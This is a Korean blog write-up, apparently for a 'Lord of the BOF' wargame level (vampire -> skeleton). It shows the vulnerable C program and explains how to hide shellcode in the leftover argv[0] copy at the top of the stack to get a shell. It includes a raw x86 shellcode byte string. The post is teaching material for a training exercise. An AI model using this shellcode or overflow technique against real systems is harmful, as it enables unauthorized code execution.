Phantom

[Vampire] vampire -> skeleton 풀이 본문

Pwnable/[Wargame]Load of Bof

[Vampire] vampire -> skeleton 풀이

Ph4nt0m_ 2014. 8. 7. 20:34
반응형

문제 소스 보기

Colored By Color Scripter

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

/*

        The Lord of the BOF : The Fellowship of the BOF

        - skeleton

        - argv hunter

*/

 

#include <stdio.h>

#include <stdlib.h>

 

extern char **environ;

 

main(int argc, char *argv[])

{

    char buffer[40];

    int i, saved_argc;

 

    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }

 

    // egghunter 

    for(i=0; environ[i]; i++)

        memset(environ[i], 0, strlen(environ[i]));

 

    if(argv[1][47] != '\xbf')

    {

        printf("stack is still your friend.\n");

        exit(0);

    }

 

    // check the length of argument

    if(strlen(argv[1]) > 48){

        printf("argument is too long!\n");

        exit(0);

    }

 

    // argc saver

    saved_argc = argc;

 

    strcpy(buffer, argv[1]); 

    printf("%s\n", buffer);

 

        // buffer hunter

        memset(buffer, 0, 40);

 

    // ultra argv hunter!

    for(i=0; i<saved_argc; i++)

        memset(argv[i], 0, strlen(argv[i]));

}

이번 단계는 울트라 argv헌터입니다 saved_argc를 이용해 모든 argv를 초기화시킵니다.

 

 

쉘 획득 과정 페이로드

이번 단계는 argv를 사용 할 수 없습니다다만 아래처럼 argv[0]가 스택의 끝자락에 남아 있었습니다. 우린 argv[0]에 쉘코드를 넣고 ret copied argv[0]의 주소를 넣어 ret시에 copied argv[0]로 가게끔하여 쉘코드를 실행시킬 것입니다.

 

 



스택 끝자락의 copied argv입니다 스택 끝에 프로그램 이름 주소가 남아 있엇습니다.

argv[0] cp로 쉘코드를 삽입하고 ret 0xbfffffdc + strlen("/home/vampire/")로 길이를조절해 ret 주소를 설정합니다



 

기존의 f2없는 쉘코드가 먹히지 않아 다른 쉘코드를 준비하였습니다

\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3

 

 

 

 

 

 

명령문 작성하기

이제 명령문을 작성합니다



 

이로써 skeleton의 권한을 얻었습니다.

 

반응형

'Pwnable > [Wargame]Load of Bof' 카테고리의 다른 글

[Golem] golem -> darkknight 풀이  (0) 2015.01.05
[Skelton] skeleton -> golem 풀이  (0) 2014.08.20
[Troll] troll -> vampire 풀이  (4) 2014.08.04
[Orge] orge -> troll 풀이  (0) 2014.07.31
[Darkelf] darkelf -> orge 풀이  (0) 2014.07.30
Comments